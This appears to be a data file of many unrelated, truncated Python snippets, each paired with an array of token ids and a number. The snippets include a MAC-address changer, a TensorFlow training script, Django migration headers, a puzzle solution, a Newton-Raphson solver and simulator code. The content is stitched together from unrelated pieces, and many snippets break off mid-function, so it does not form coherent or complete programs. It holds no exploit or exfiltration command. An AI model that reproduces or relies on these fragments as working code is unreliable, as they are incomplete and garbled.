#!/usr/bin/env python3 import subprocess import re import argparse if __name__ == "__main__": options = get_arguments() current_mac = get_current_mac(options.interface) print(f"Current Mac:{current_mac}") change_mac(options.interface, options.new_mac) current_mac = get_current_mac(options.inter...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 11748, 850, 14681, 198, 11748, 302, 198, 11748, 1822, 29572, 628, 628, 198, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 3689, 796, 651, 62, ...
2.741758
182
import tensorflow as tf import numpy as np import time import utils path = r'data/' x, y = utils.reload_data(path) inp_shape = (x[0].shape[0],1) x = np.array(x).reshape(-1, 1000, 1)# change 1000 to your sample lenght if you changed frame (= CHUNK ) or RESOLUTION # prepared for testing and evaluating. try other comb...
[ 11748, 11192, 273, 11125, 355, 48700, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 640, 198, 11748, 3384, 4487, 198, 198, 6978, 796, 374, 1549, 1045, 14, 6, 198, 198, 87, 11, 331, 796, 3384, 4487, 13, 260, 2220, 62, 7890, 7, 6978...
2.105495
910
# Generated by Django 3.1.6 on 2021-02-12 07:47 from django.conf import settings from django.db import migrations, models import django.db.models.deletion
[ 2, 2980, 515, 416, 37770, 513, 13, 16, 13, 21, 319, 33448, 12, 2999, 12, 1065, 8753, 25, 2857, 198, 198, 6738, 42625, 14208, 13, 10414, 1330, 6460, 198, 6738, 42625, 14208, 13, 9945, 1330, 15720, 602, 11, 4981, 198, 11748, 42625, 14...
3.019231
52
import logging from common.api_handlers import handle_request from common.packet import Packet from common.response import Response from common.transport.protocol import TCPProtocol from game.models.world import WORLD from game.session import GameSession from game.states import Connected LOG = logging.getLogger(f"l2p...
[ 11748, 18931, 198, 198, 6738, 2219, 13, 15042, 62, 4993, 8116, 1330, 5412, 62, 25927, 198, 6738, 2219, 13, 8002, 316, 1330, 6400, 316, 198, 6738, 2219, 13, 26209, 1330, 18261, 198, 6738, 2219, 13, 7645, 634, 13, 11235, 4668, 1330, 236...
3.652174
92
import fileinput # "day6.txt" groups = [x.split() for x in ''.join(fileinput.input()).split('\n\n')] # part 1 print(sum(len(set([j for sub in group for j in sub])) for group in groups)) # part 2 print(sum(len(set.intersection(*[set(list(j)) for j in group])) for group in groups))
[ 11748, 2393, 15414, 201, 198, 2, 366, 820, 21, 13, 14116, 1, 201, 198, 24432, 796, 685, 87, 13, 35312, 3419, 329, 2124, 287, 705, 4458, 22179, 7, 7753, 15414, 13, 15414, 3419, 737, 35312, 10786, 59, 77, 59, 77, 11537, 60, 201, 198...
2.53913
115
'''Considere o problema de computar o valor absoluto de um nmero real. O valor absoluto de um nmero real x dado por f(x) = x se x >= 0 ou f(x) = -x se x < 0. Projete e implemente um programa em Python que lei um nmero de ponto flutuante x, calcule e imprima o valor absoluto de x.''' x = float(input()) y = (x**2)**(1...
[ 7061, 6, 9444, 485, 260, 267, 1917, 64, 390, 2653, 283, 267, 1188, 273, 2352, 349, 9390, 390, 23781, 299, 647, 78, 1103, 13, 198, 46, 1188, 273, 2352, 349, 9390, 390, 23781, 299, 647, 78, 1103, 2124, 220, 288, 4533, 16964, 277, 7,...
2.2875
160
import torch import warnings def newton_raphson(fn, x0, linsolver = "lu", rtol = 1e-6, atol = 1e-10, miter = 100): """ Solve a nonlinear system with Newton's method. Return the solution and the last Jacobian Args: fn: function that returns the residual and Jacobian x0:...
[ 11748, 28034, 198, 11748, 14601, 198, 198, 4299, 649, 1122, 62, 1470, 1559, 7, 22184, 11, 2124, 15, 11, 300, 1040, 14375, 796, 366, 2290, 1600, 374, 83, 349, 796, 352, 68, 12, 21, 11, 379, 349, 796, 352, 68, 12, 940, 11, 198, 22...
2.288998
609
# Time: O(n) # Space: O(1)
[ 2, 3862, 25, 220, 440, 7, 77, 8, 198, 2, 4687, 25, 440, 7, 16, 8, 198 ]
1.647059
17
import logging import datetime import asyncio from edgefarm_application.base.application_module import application_module_network_nats from edgefarm_application.base.avro import schemaless_decode from run_task import run_task from state_tracker import StateTracker from schema_loader import schema_load _logger = logg...
[ 11748, 18931, 198, 11748, 4818, 8079, 198, 11748, 30351, 952, 198, 198, 6738, 5743, 43323, 62, 31438, 13, 8692, 13, 31438, 62, 21412, 1330, 3586, 62, 21412, 62, 27349, 62, 77, 1381, 198, 6738, 5743, 43323, 62, 31438, 13, 8692, 13, 615...
3.495575
113
from termcolor import colored, cprint import sys text = colored('Hello, World!', 'red', attrs=['reverse', 'blink']) print(text) cprint('Hello, World!', 'green', 'on_red') for i in range(10): cprint(i, 'magenta', end=' ') cprint("Attention!",'red', attrs=['bold'], file=sys.stdout)
[ 6738, 3381, 8043, 1330, 16396, 11, 269, 4798, 201, 198, 11748, 25064, 220, 201, 198, 5239, 796, 16396, 10786, 15496, 11, 2159, 0, 3256, 705, 445, 3256, 708, 3808, 28, 17816, 50188, 3256, 705, 2436, 676, 6, 12962, 220, 201, 198, 4798, ...
2.435484
124
import sys from azureml.core import Workspace, Experiment, Environment, ScriptRunConfig from azureml.core.compute import ComputeTarget, AmlCompute from azureml.core.compute_target import ComputeTargetException from shutil import copy ws = Workspace.from_config() # Choose a name for your CPU cluster # cpu_cluster_name...
[ 11748, 25064, 198, 6738, 35560, 495, 4029, 13, 7295, 1330, 10933, 10223, 11, 29544, 11, 9344, 11, 12327, 10987, 16934, 198, 6738, 35560, 495, 4029, 13, 7295, 13, 5589, 1133, 1330, 3082, 1133, 21745, 11, 1703, 75, 7293, 1133, 198, 6738, ...
2.423369
659
import cpuinfo def pytest_benchmark_update_json(config, benchmarks, output_json): """Calculate compression/decompression speed and add as extra_info""" for benchmark in output_json["benchmarks"]: if "data_size" in benchmark["extra_info"]: rate = benchmark["extra_info"].get("data_size", 0.0...
[ 11748, 42804, 10951, 628, 198, 4299, 12972, 9288, 62, 26968, 4102, 62, 19119, 62, 17752, 7, 11250, 11, 31747, 11, 5072, 62, 17752, 2599, 198, 220, 220, 220, 37227, 9771, 3129, 378, 19794, 14, 12501, 3361, 2234, 2866, 290, 751, 355, 31...
2.741497
147
import time import gcld3 detector = gcld3.NNetLanguageIdentifier(min_num_bytes=0, max_num_bytes=1000) # text = "This text is written in English" text = "" while True: result = detector.FindLanguage(text=text) print(text, result.probability, result.language) time.sle...
[ 11748, 640, 198, 198, 11748, 308, 66, 335, 18, 198, 198, 15255, 9250, 796, 308, 66, 335, 18, 13, 6144, 316, 32065, 33234, 7483, 7, 1084, 62, 22510, 62, 33661, 28, 15, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 22...
2.238095
147
''' 1 nums = [1,2,3] [1,3,2] 2 nums = [3,2,1] [1,2,3] 3 nums = [1,1,5] [1,5,1] 4 nums = [1] [1] 1 <= nums.length <= 100 0 <= nums[i] <= 100 ''' if __name__ == '__main__': points = [1, 2, 3] ins = Solution() ins.nextPermutation(points) print(points)
[ 7061, 6, 198, 220, 220, 628, 220, 220, 628, 352, 198, 77, 5700, 796, 685, 16, 11, 17, 11, 18, 60, 198, 58, 16, 11, 18, 11, 17, 60, 628, 362, 198, 77, 5700, 796, 685, 18, 11, 17, 11, 16, 60, 198, 58, 16, 11, 17, 11, 18, ...
1.748466
163
# script to generate the overview and individual html report website. import os import numpy
[ 2, 4226, 284, 7716, 262, 16700, 290, 1981, 27711, 989, 3052, 13, 198, 198, 11748, 28686, 198, 11748, 299, 32152, 628, 628, 198 ]
4.26087
23
"""Generates the supported SOP Classes.""" from collections import namedtuple import inspect import logging import sys from pydicom.uid import UID from pynetdicom3.service_class import ( VerificationServiceClass, StorageServiceClass, QueryRetrieveServiceClass, BasicWorklistManagementServiceClass, ) ...
[ 37811, 8645, 689, 262, 4855, 311, 3185, 38884, 526, 15931, 198, 198, 6738, 17268, 1330, 3706, 83, 29291, 198, 11748, 10104, 198, 11748, 18931, 198, 11748, 25064, 198, 198, 6738, 279, 5173, 291, 296, 13, 27112, 1330, 25105, 198, 198, 673...
2.006894
6,092
import os from datetime import datetime import numpy as np import tensorflow as tf from tensorflow.python.training import moving_averages TF_DTYPE = tf.float64 MOMENTUM = 0.99 EPSILON = 1e-6 DELTA_CLIP = 50.0
[ 11748, 28686, 198, 6738, 4818, 8079, 1330, 4818, 8079, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 11192, 273, 11125, 355, 48700, 198, 6738, 11192, 273, 11125, 13, 29412, 13, 34409, 1330, 3867, 62, 8770, 1095, 198, 198, 10234, 62, 3...
2.705128
78
from .dataset import load_pr, load_1dof, load_mvc, load_ndof __all__ = ["load_pr", "load_1dof", "load_mvc", "load_ndof"]
[ 6738, 764, 19608, 292, 316, 1330, 3440, 62, 1050, 11, 3440, 62, 16, 67, 1659, 11, 3440, 62, 76, 28435, 11, 3440, 62, 358, 1659, 198, 198, 834, 439, 834, 796, 14631, 2220, 62, 1050, 1600, 366, 2220, 62, 16, 67, 1659, 1600, 366, 2...
2.178571
56
""" Fibonacci sequence using python generators Written by: Ian Doarn """ if __name__ == '__main__': # Maximum fib numbers to print max_i = 20 for i, fib_n in enumerate(fib()): #Print each yielded fib number print('{i:3}: {f:3}'.format(i=i, f=fib_n)) # Break when we hit max_i val...
[ 37811, 198, 37, 571, 261, 44456, 8379, 1262, 21015, 198, 8612, 2024, 198, 198, 25354, 416, 25, 12930, 2141, 1501, 198, 37811, 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 1303, 22246, 12900, ...
2.206061
165
glossary = { 'intger': 'is colloquially defined as a number that can be written without a fractional component.\n', 'iterate': 'is the repetition of a process in order to generate a sequence of outcomes.\n', 'indentation': 'is an empty space at the beginning of a line that groups particular blocks of code.\...
[ 4743, 793, 560, 796, 1391, 198, 220, 220, 220, 705, 600, 1362, 10354, 705, 271, 2927, 22696, 1927, 5447, 355, 257, 1271, 326, 460, 307, 3194, 1231, 257, 13390, 282, 7515, 13, 59, 77, 3256, 198, 220, 220, 220, 705, 2676, 378, 10354, ...
3.347079
291
import ast import argparse import json import os import pprint import astor import tqdm import _jsonnet from seq2struct import datasets from seq2struct import grammars from seq2struct.utils import registry from third_party.spider import evaluation if __name__ == '__main__': main()
[ 11748, 6468, 198, 11748, 1822, 29572, 198, 11748, 33918, 198, 11748, 28686, 198, 11748, 279, 4798, 198, 198, 11748, 6468, 273, 198, 11748, 256, 80, 36020, 198, 11748, 4808, 17752, 3262, 198, 198, 6738, 33756, 17, 7249, 1330, 40522, 198, ...
3.344828
87
from tune.constants import TUNE_STOPPER_DEFAULT_CHECK_INTERVAL from typing import Any, Callable, Optional from tune._utils import run_monitored_process from tune.concepts.flow import Trial, TrialReport def validate_noniterative_objective( func: NonIterativeObjectiveFunc, trial: Trial, validator: Callab...
[ 6738, 14009, 13, 9979, 1187, 1330, 309, 41884, 62, 2257, 3185, 18973, 62, 7206, 38865, 62, 50084, 62, 41358, 23428, 198, 6738, 19720, 1330, 4377, 11, 4889, 540, 11, 32233, 198, 198, 6738, 14009, 13557, 26791, 1330, 1057, 62, 2144, 20026...
3.118919
185
a1 = 'mary' b1 = 'army' a2 = 'mary' b2 = 'mark' def is_anagram(a, b): """ Return True if words a and b are anagrams. Return Flase if otherwise. """ a_list = list(a) b_list = list(b) a_list.sort() b_list.sort() if a_list == b_list: return True else: return False ...
[ 64, 16, 796, 705, 6874, 6, 198, 65, 16, 796, 705, 1670, 88, 6, 198, 64, 17, 796, 705, 6874, 6, 198, 65, 17, 796, 705, 4102, 6, 198, 198, 4299, 318, 62, 272, 6713, 7, 64, 11, 275, 2599, 198, 220, 220, 220, 37227, 198, 220, ...
1.983957
187
from sqlalchemy import ( Column, ForeignKey, Integer, Text, ) from sqlalchemy.orm import relationship from .meta import Base
[ 6738, 44161, 282, 26599, 1330, 357, 198, 220, 220, 220, 29201, 11, 198, 220, 220, 220, 8708, 9218, 11, 198, 220, 220, 220, 34142, 11, 198, 220, 220, 220, 8255, 11, 198, 8, 198, 198, 6738, 44161, 282, 26599, 13, 579, 1330, 2776, 19...
2.823529
51
# -*- coding: utf-8 -*- """ model helper ~~~~~~~~~~~~ :Created: 2016-8-5 :Copyright: (c) 2016<smileboywtu@gmail.com> """ from customer_exceptions import OffsetOutOfRangeException
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 198, 37811, 628, 220, 220, 220, 2746, 31904, 198, 220, 220, 220, 220, 15116, 8728, 628, 220, 220, 220, 1058, 41972, 25, 1584, 12, 23, 12, 20, 198, 220, 220, 220, 105...
2.463415
82
from django import template register = template.Library() from .. import utils
[ 6738, 42625, 14208, 1330, 11055, 198, 198, 30238, 796, 11055, 13, 23377, 3419, 198, 198, 6738, 11485, 1330, 3384, 4487, 628, 628, 628, 628, 628 ]
3.6
25
""" Tests for edges.py """ import unittest import pandas as pd from biothings_explorer.user_query_dispatcher import SingleEdgeQueryDispatcher from biothings_explorer.filters.edges import filter_node_degree if __name__ == '__main__': unittest.main()
[ 37811, 198, 51, 3558, 329, 13015, 13, 9078, 198, 37811, 198, 198, 11748, 555, 715, 395, 198, 11748, 19798, 292, 355, 279, 67, 198, 6738, 3182, 849, 654, 62, 20676, 11934, 13, 7220, 62, 22766, 62, 6381, 8071, 2044, 1330, 14206, 37021, ...
2.865169
89
""" Retrieves data as json files from fantasy.premierleague.com """ import json import requests LAST_SEASON_DATA_FILENAME = "data/player_data_20_21.json" DATA_URL = "https://fantasy.premierleague.com/api/bootstrap-static/" DATA_FILENAME = "data/player_data_21_22.json" FIXTURES_URL = "https://fantasy.premierleague.c...
[ 37811, 198, 9781, 5034, 1158, 1366, 355, 33918, 3696, 422, 8842, 13, 31605, 959, 19316, 13, 785, 198, 37811, 198, 198, 11748, 33918, 198, 11748, 7007, 198, 198, 43, 11262, 62, 5188, 36033, 62, 26947, 62, 46700, 1677, 10067, 796, 366, ...
2.874251
167
from beamngpy import BeamNGpy, Vehicle, Scenario, ScenarioObject from beamngpy import setup_logging, Config from beamngpy.sensors import Camera, GForces, Lidar, Electrics, Damage, Timer import beamngpy import time, random # globals default_model = 'pickup' default_scenario = 'west_coast_usa' #'cliff' # smallgrid dt = ...
[ 6738, 15584, 782, 9078, 1330, 25855, 10503, 9078, 11, 21501, 11, 1446, 39055, 11, 1446, 39055, 10267, 198, 6738, 15584, 782, 9078, 1330, 9058, 62, 6404, 2667, 11, 17056, 198, 6738, 15584, 782, 9078, 13, 82, 641, 669, 1330, 20432, 11, ...
2.91129
124
#!/usr/bin/env python from __future__ import print_function import os, optparse, glob import depotcache, acf from ui import ui_tty as ui import hashlib import sys g_indent = ' ' colours = { False: 'back_red black', True: '' } if __name__ == '__main__': main() # vi:noet:ts=8:sw=8
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 198, 6738, 11593, 37443, 834, 1330, 3601, 62, 8818, 198, 198, 11748, 28686, 11, 2172, 29572, 11, 15095, 198, 11748, 43369, 23870, 11, 936, 69, 198, 198, 6738, 334, 72, 1330, 334, 72, ...
2.453782
119
from gpiozero import DistanceSensor from time import sleep sensor = DistanceSensor(echo=23, trigger=22) while True: print('Distance: ', sensor.distance * 100) sleep(1)
[ 6738, 27809, 952, 22570, 1330, 34600, 47864, 198, 6738, 640, 1330, 3993, 198, 198, 82, 22854, 796, 34600, 47864, 7, 30328, 28, 1954, 11, 7616, 28, 1828, 8, 198, 4514, 6407, 25, 198, 220, 220, 220, 3601, 10786, 45767, 25, 46083, 12694,...
3.178571
56
import pickle def remove_duplicate_from_list(data): """ remove duplications from specific list any data can be contained in the data. if the data is hashable, you can implement this function easily like below. data = list(set(data)) but if the data is unhashable, you have to im...
[ 11748, 2298, 293, 628, 198, 4299, 4781, 62, 646, 489, 5344, 62, 6738, 62, 4868, 7, 7890, 2599, 198, 220, 220, 220, 37227, 4781, 14184, 3736, 422, 2176, 1351, 198, 220, 220, 220, 220, 220, 220, 220, 597, 1366, 460, 307, 7763, 287, ...
2.648515
404
# -*- coding: utf-8 -*- # # Copyright (C) 2022 NYU Libraries. # # ultraviolet-cli is free software; you can redistribute it and/or modify it # under the terms of the MIT License; see LICENSE file for more details. """Invenio module for custom UltraViolet commands.""" import click import glob import json import os imp...
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 2, 198, 2, 15069, 357, 34, 8, 33160, 48166, 46267, 13, 198, 2, 198, 2, 49961, 12, 44506, 318, 1479, 3788, 26, 345, 460, 17678, 4163, 340, 290, 14, 273, 13096, 340, ...
3.478022
182
from __future__ import annotations from enum import Enum, auto # TODO: rename
[ 6738, 11593, 37443, 834, 1330, 37647, 198, 6738, 33829, 1330, 2039, 388, 11, 8295, 628, 628, 198, 198, 2, 16926, 46, 25, 36265, 198 ]
3.458333
24
import gevent import docker import os from function_info import parse from port_controller import PortController from function import Function import random repack_clean_interval = 5.000 # repack and clean every 5 seconds dispatch_interval = 0.005 # 200 qps at most # the class for scheduling functions' int...
[ 11748, 4903, 1151, 201, 198, 11748, 36253, 201, 198, 11748, 28686, 201, 198, 6738, 2163, 62, 10951, 1330, 21136, 201, 198, 6738, 2493, 62, 36500, 1330, 4347, 22130, 201, 198, 6738, 2163, 1330, 15553, 201, 198, 11748, 4738, 201, 198, 201...
3.526316
95
import sets import scan_set import os path = 'ids/' setlist = os.listdir(path) for set in sets.set_info: s = set + '.txt' if s not in setlist: print "Getting " + set getall(set) print "\n\nCompletely Finished........"
[ 11748, 5621, 198, 11748, 9367, 62, 2617, 198, 198, 11748, 28686, 198, 198, 6978, 796, 705, 2340, 14, 6, 198, 2617, 4868, 796, 28686, 13, 4868, 15908, 7, 6978, 8, 628, 198, 1640, 900, 287, 5621, 13, 2617, 62, 10951, 25, 198, 220, 2...
2.345794
107
# ------------------------------------------------------------------------------------------------ # Copyright (c) 2018 Microsoft Corporation # # Permission is hereby granted, free of charge, to any person obtaining a copy of this software and # associated documentation files (the "Software"), to deal in the Software ...
[ 2, 16529, 3880, 198, 2, 15069, 357, 66, 8, 2864, 5413, 10501, 198, 2, 220, 198, 2, 2448, 3411, 318, 29376, 7520, 11, 1479, 286, 3877, 11, 284, 597, 1048, 16727, 257, 4866, 286, 428, 3788, 290, 198, 2, 3917, 10314, 3696, 357, 1169,...
2.877151
1,685
#!/usr/bin/env python3 # Software License Agreement (BSD License) # # Copyright (c) 2019, UFACTORY, Inc. # All rights reserved. # # Author: Vinman <vinman.wen@ufactory.cc> <vinman.cub@gmail.com> """ Example: Get GPIO Digital """ import os import sys import time sys.path.append(os.path.join(os.path.dirname(__file__), ...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 2, 10442, 13789, 12729, 357, 21800, 13789, 8, 198, 2, 198, 2, 15069, 357, 66, 8, 13130, 11, 471, 37, 10659, 15513, 11, 3457, 13, 198, 2, 1439, 2489, 10395, 13, 198, 2, 198, 2...
2.431535
482
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** from . import _utilities import typing # Export this package's modules as members: from .cached_image import * from .container import *...
[ 2, 19617, 28, 40477, 12, 23, 198, 2, 17202, 39410, 25, 428, 2393, 373, 7560, 416, 262, 21624, 12994, 24118, 687, 10290, 357, 27110, 5235, 8, 16984, 13, 17202, 198, 2, 17202, 2141, 407, 4370, 416, 1021, 4556, 345, 821, 1728, 345, 760...
2.473523
982
strs = ["eat", "tea", "tan", "ate", "nat", "bat"] sol = Solution() print(sol.groupAnagrams(strs))
[ 198, 198, 2536, 82, 796, 14631, 4098, 1600, 366, 660, 64, 1600, 366, 38006, 1600, 366, 378, 1600, 366, 32353, 1600, 366, 8664, 8973, 198, 34453, 796, 28186, 3419, 198, 4798, 7, 34453, 13, 8094, 2025, 6713, 82, 7, 2536, 82, 4008 ]
2.357143
42
#!/usr/bin/env python3 import os import time import sys gpio = None try: import RPi.GPIO gpio = RPi.GPIO except: print('RPi library not found. We\'re probably on a dev machine. Moving on...') import lvconfig import litrpc # This could be more efficient, we're making a lot more requests than we need to. if __n...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 198, 11748, 28686, 198, 11748, 640, 198, 11748, 25064, 198, 198, 31197, 952, 796, 6045, 198, 28311, 25, 198, 197, 11748, 25812, 72, 13, 16960, 9399, 198, 197, 31197, 952, 796, 2581...
2.853846
130
#*** *** #Python, ' (), " (). print('some eggs') print("some eggs") print('some eggs\nsome eggs') #a == b abTrue, False print('some eggs' == "some eggs") #True #'...' ' , "..." " , # \ () . print("I don't Know him") #I don't know him print('"Python"') #"Python" print("I don\'t know him") #I don't know him p...
[ 2, 8162, 220, 220, 220, 220, 220, 17202, 198, 198, 2, 37906, 11, 705, 29994, 366, 27972, 198, 4798, 10786, 11246, 9653, 11537, 198, 4798, 7203, 11246, 9653, 4943, 198, 4798, 10786, 11246, 9653, 59, 5907, 462, 9653, 11537, 198, 198, 2,...
1.815789
950
import pytest from fluentql import GenericSQLDialect, Q from fluentql.types import Table test_table = Table("test_table")
[ 11748, 12972, 9288, 198, 198, 6738, 43472, 13976, 1330, 42044, 17861, 24400, 478, 11, 1195, 198, 6738, 43472, 13976, 13, 19199, 1330, 8655, 628, 198, 9288, 62, 11487, 796, 8655, 7203, 9288, 62, 11487, 4943, 628, 198 ]
3.432432
37
from nltk.grammar import CFG from nltk.parse.chart import ChartParser, BU_LC_STRATEGY grammar = CFG.fromstring(""" S -> T1 T4 T1 -> NNP VBZ T2 -> DT NN T3 -> IN NNP T4 -> T3 | T2 T3 NNP -> 'Tajmahal' | 'Agra' | 'Bangalore' | 'Karnataka' VBZ -> 'is' IN -> 'in' | 'of' DT -> 'the' NN -> 'capital' """) cp = ChartParser(g...
[ 6738, 299, 2528, 74, 13, 4546, 3876, 1330, 18551, 38, 198, 6738, 299, 2528, 74, 13, 29572, 13, 40926, 1330, 22086, 46677, 11, 20571, 62, 5639, 62, 18601, 6158, 31212, 198, 198, 4546, 3876, 796, 18551, 38, 13, 6738, 8841, 7203, 15931, ...
2.359684
253